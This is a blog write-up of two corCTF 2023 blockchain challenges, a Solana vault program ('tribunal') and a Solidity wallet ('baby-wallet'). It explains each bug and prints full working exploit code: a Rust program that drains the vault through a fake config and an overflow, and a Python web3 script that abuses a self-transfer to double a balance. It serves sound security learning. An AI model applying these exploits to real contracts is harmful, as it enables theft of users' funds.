One Solidity challenge and one Solana challenge were included in corCTF 2023, totalling two blockchian challenges.
tribunal
Analysis
When I analyze the Solana chall, I first check if it uses Anchor.
As this challenge does not include Anchor framework, we could refer to the following example and write a code.
- https://github.com/barsa2000/sekai2022_gft/blob/main/solve/src/entrypoint.rs
and writeups in my blog.
https://hodl.page/entry/angstromctf-2023-Sailors-Revenge#toc2
https://hodl.page/entry/LA-CTF-2023-pwnbreakup-evmvm-sailor#toc10
According to server's logic
1. admin creates config and vault
2. make five proposals
3. deposit 99sol into the vault by vote
4. execute user's ix
5. if a user has more than 90sol, success
Root Cause
During the ctf, I thought there were three vulnerabilities in the problem.
1. In the finding the PDA, it uses a bump that users input, not canonical bump.
2. In withdraw, it does not check if vault's admin is equal to config's admin.
3. After withdraw, it does not decrease the config's balance.
Solve
https://github.com/kangsangsoo/CTF-Writeups/tree/main/tribunal
1. initialize a fake config and a fake vault
2. deposit the fund as much as possible into the fake vault using vote.
3. withdraw the fund as much as the fake config has from the real vault that has 99sol.
4. Repeat 2~3 until I secure more than 90sol.
My first solution was that I set the loop count of for statements(2~3) to 30 without considering memory.
But memory limit error occured.
More precisely, I rewrote the code to minimize the number of for loop.
entrypoint!(process_instruction);
fn process_instruction(
program_id: &Pubkey,
accounts: &[AccountInfo],
instruction_data: &[u8],
) -> ProgramResult {
let account_iter = &mut accounts.iter();
let program = next_account_info(account_iter)?;
let user = next_account_info(account_iter)?;
let config_addr = next_account_info(account_iter)?;
let vault_addr = next_account_info(account_iter)?;
let fake_config_addr = next_account_info(account_iter)?;;
let fake_vault_addr = next_account_info(account_iter)?;
let p4_addr = next_account_info(account_iter)?;
let my_pg = next_account_info(account_iter)?;
let sp = next_account_info(account_iter)?;
let (_fake_config_addr, fake_config_bump) = find_my_program_address(&["CONFIG".as_bytes()], &program.key).unwrap();
let (_fake_vault_addr, fake_vault_bump) = find_my_program_address(&["VAULT".as_bytes()], &program.key).unwrap();
let (_p4_addr, _) = Pubkey::find_program_address(&["PROPOSAL".as_bytes(), &4_u8.to_be_bytes()], &program.key);
let fisrt = Instruction::new_with_borsh(
program.key.clone(),
&TribunalInstruction::Initialize {
config_bump: fake_config_bump,
vault_bump: fake_vault_bump,
},
vec![
AccountMeta::new(user.key.clone(), true),
AccountMeta::new(fake_config_addr.key.clone(), false),
AccountMeta::new(fake_vault_addr.key.clone(), false),
AccountMeta::new_readonly(program.key.clone(), false),
AccountMeta::new_readonly(sp.key.clone(), false),
],
);
invoke(&fisrt,
&[
user.clone(),
fake_config_addr.clone(),
fake_vault_addr.clone(),
sp.clone(),
my_pg.clone(),
program.clone(),
]);
let mut amt = 800_000_000;
let mut sum = 0;
let mut balance_of_vault = 98_000_000_000;
let mut balance_of_fake_vault = 0;
for i in 0..=7_u8 {
if i == 7 {
let fisrt = Instruction::new_with_borsh(
program.key.clone(),
&TribunalInstruction::Withdraw { amount: 43_000_000_000 },
vec![
AccountMeta::new(user.key.clone(), true),
AccountMeta::new(fake_config_addr.key.clone(), false),
AccountMeta::new(fake_vault_addr.key.clone(), false),
AccountMeta::new_readonly(program.key.clone(), false),
AccountMeta::new_readonly(sp.key.clone(), false),
],
);
invoke(&fisrt,
&[
user.clone(),
fake_vault_addr.clone(),
fake_config_addr.clone(),
sp.clone(),
my_pg.clone(),
program.clone(),
]);
break
}
balance_of_fake_vault += amt;
let fisrt = Instruction::new_with_borsh(
program.key.clone(),
&TribunalInstruction::Vote { proposal_id: 4, amount: amt },
vec![
AccountMeta::new(user.key.clone(), true),
AccountMeta::new(fake_config_addr.key.clone(), false),
AccountMeta::new(fake_vault_addr.key.clone(), false),
AccountMeta::new(p4_addr.key.clone(), false),
AccountMeta::new_readonly(program.key.clone(), false),
AccountMeta::new_readonly(sp.key.clone(), false),
],
);
invoke(&fisrt,
&[
user.clone(),
fake_vault_addr.clone(),
fake_config_addr.clone(),
p4_addr.clone(),
sp.clone(),
my_pg.clone(),
program.clone(),
]);
let target = std::cmp::min(balance_of_fake_vault-100000, balance_of_vault);
balance_of_vault -= target;
sum += target;
let fisrt = Instruction::new_with_borsh(
program.key.clone(),
&TribunalInstruction::Withdraw { amount: target},
vec![
AccountMeta::new(user.key.clone(), true),
AccountMeta::new(fake_config_addr.key.clone(), false),
AccountMeta::new(vault_addr.key.clone(), false),
AccountMeta::new_readonly(program.key.clone(), false),
AccountMeta::new_readonly(sp.key.clone(), false),
],
);
invoke(&fisrt,
&[
user.clone(),
vault_addr.clone(),
fake_config_addr.clone(),
sp.clone(),
my_pg.clone(),
program.clone(),
]);
amt = target;
}
Ok(())
}
Feedback
I missed the overflow in vote, author's intention.
shorter and easier
1. initialize a fake config.
2. deposit 0.000000001sol into the vault using vote, causing the overflow in the fake config.
3. withdraw 90sol from the real vault that has 99sol.
entrypoint!(process_instruction);
fn process_instruction(
program_id: &Pubkey,
accounts: &[AccountInfo],
instruction_data: &[u8],
) -> ProgramResult {
let account_iter = &mut accounts.iter();
let program = next_account_info(account_iter)?;
let user = next_account_info(account_iter)?;
let config_addr = next_account_info(account_iter)?;
let vault_addr = next_account_info(account_iter)?;
let fake_config_addr = next_account_info(account_iter)?;;
let fake_vault_addr = next_account_info(account_iter)?;
let p4_addr = next_account_info(account_iter)?;
let my_pg = next_account_info(account_iter)?;
let sp = next_account_info(account_iter)?;
let (_fake_config_addr, fake_config_bump) = find_my_program_address(&["CONFIG".as_bytes()], &program.key).unwrap();
let (_fake_vault_addr, fake_vault_bump) = find_my_program_address(&["VAULT".as_bytes()], &program.key).unwrap();
let (_p4_addr, _) = Pubkey::find_program_address(&["PROPOSAL".as_bytes(), &4_u8.to_be_bytes()], &program.key);
let fisrt = Instruction::new_with_borsh(
program.key.clone(),
&TribunalInstruction::Initialize {
config_bump: fake_config_bump,
vault_bump: fake_vault_bump,
},
vec![
AccountMeta::new(user.key.clone(), true),
AccountMeta::new(fake_config_addr.key.clone(), false),
AccountMeta::new(fake_vault_addr.key.clone(), false),
AccountMeta::new_readonly(program.key.clone(), false),
AccountMeta::new_readonly(sp.key.clone(), false),
],
);
invoke(&fisrt,
&[
user.clone(),
fake_config_addr.clone(),
fake_vault_addr.clone(),
sp.clone(),
my_pg.clone(),
program.clone(),
]);
let fisrt = Instruction::new_with_borsh(
program.key.clone(),
&TribunalInstruction::Vote { proposal_id: 4, amount: 1 },
vec![
AccountMeta::new(user.key.clone(), true),
AccountMeta::new(fake_config_addr.key.clone(), false),
AccountMeta::new(fake_vault_addr.key.clone(), false),
AccountMeta::new(p4_addr.key.clone(), false),
AccountMeta::new_readonly(program.key.clone(), false),
AccountMeta::new_readonly(sp.key.clone(), false),
],
);
invoke(&fisrt,
&[
user.clone(),
fake_vault_addr.clone(),
fake_config_addr.clone(),
p4_addr.clone(),
sp.clone(),
my_pg.clone(),
program.clone(),
]);
let fisrt = Instruction::new_with_borsh(
program.key.clone(),
&TribunalInstruction::Withdraw { amount: 90_000_000_000},
vec![
AccountMeta::new(user.key.clone(), true),
AccountMeta::new(fake_config_addr.key.clone(), false),
AccountMeta::new(vault_addr.key.clone(), false),
AccountMeta::new_readonly(program.key.clone(), false),
AccountMeta::new_readonly(sp.key.clone(), false),
],
);
invoke(&fisrt,
&[
user.clone(),
vault_addr.clone(),
fake_config_addr.clone(),
sp.clone(),
my_pg.clone(),
program.clone(),
]);
Ok(())
}
baby-wallet
Root Cause
BabyWallet::transferFrom does not check if from is equal to to.
If from and to are the same, the balance is increased by amt because the increase of to's balance follows the decrease of from's balance.
function transferFrom(address from, address to, uint256 amt) public {
uint256 allowedAmt = allowances[from][msg.sender];
uint256 fromBalance = balances[from];
uint256 toBalance = balances[to];
require(fromBalance >= amt, "You can't transfer that much");
require(allowedAmt >= amt, "You don't have approval for that amount");
balances[from] = fromBalance - amt;
balances[to] = toBalance + amt;
allowances[from][msg.sender] = allowedAmt - amt;
}
Solve
In order to get a flag, we must steal the 100ether in BabyWallet.
- Deposit 100ether.
- Increase allowances[my][my] by 100ether.
- Execute transferFrom(my, my, 100ether).
- Withdraw 200ether.
import json
from web3 import Web3
from solc import compile_source
w3 = Web3(Web3.HTTPProvider("https://baby-wallet.be.ax/1ac67d77-6984-456f-932a-77ce079bcaf0"))
#Check Connection
t=w3.is_connected()
print(t)
# Get private key
prikey = '0xd163bd21d98ba16997ac5e4248f4d576798c2eaad59fdc2b23005de91bd86d30'
# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address
print(Public_Address) # 0xe18440794A816142E5081b3A2CcED5835d53ef18
myAddr = Public_Address
cont = "0xB74539Aa48Ff22f539851bFf1cCf14BF5A9A7356" # deployed contract's address
def deposit():
f = open('baby.abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=cont, abi=abi)
func_call = contract.functions["deposit"]().build_transaction({
"from": myAddr,
"nonce": w3.eth.get_transaction_count(myAddr),
"gasPrice": w3.eth.gas_price,
"value": 100 * 10 ** 18,
"chainId": w3.eth.chain_id,
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
def approve():
f = open('baby.abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=cont, abi=abi)
func_call = contract.functions["approve"](myAddr, 100 * 10 ** 18).build_transaction({
"from": myAddr,
"nonce": w3.eth.get_transaction_count(myAddr),
"gasPrice": w3.eth.gas_price,
"value": 0,
"chainId": w3.eth.chain_id,
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
def transferFrom():
f = open('baby.abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=cont, abi=abi)
func_call = contract.functions["transferFrom"](myAddr, myAddr, 100 * 10 ** 18).build_transaction({
"from": myAddr,
"nonce": w3.eth.get_transaction_count(myAddr),
"gasPrice": w3.eth.gas_price,
"value": 0,
"chainId": w3.eth.chain_id,
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
def withdraw():
f = open('baby.abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=cont, abi=abi)
func_call = contract.functions["withdraw"](200 * 10 ** 18).build_transaction({
"from": myAddr,
"nonce": w3.eth.get_transaction_count(myAddr),
"gasPrice": w3.eth.gas_price,
"value": 0,
"chainId": w3.eth.chain_id,
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
deposit()
approve()
transferFrom()
withdraw()
'writeups' 카테고리의 다른 글
SekaiCTF 2023 - Blockchain(The Bidding, Play for Free, Re-Remix) (0) | 2023.08.28 |
---|---|
flashbot mev-share ctf (0) | 2023.08.08 |
angstromctf 2023 - pwn(Sailor's Revenge) (0) | 2023.04.27 |
NumemCTF 2023 (0) | 2023.04.01 |
DaVinciCTF 2023 - blockchain (0) | 2023.03.13 |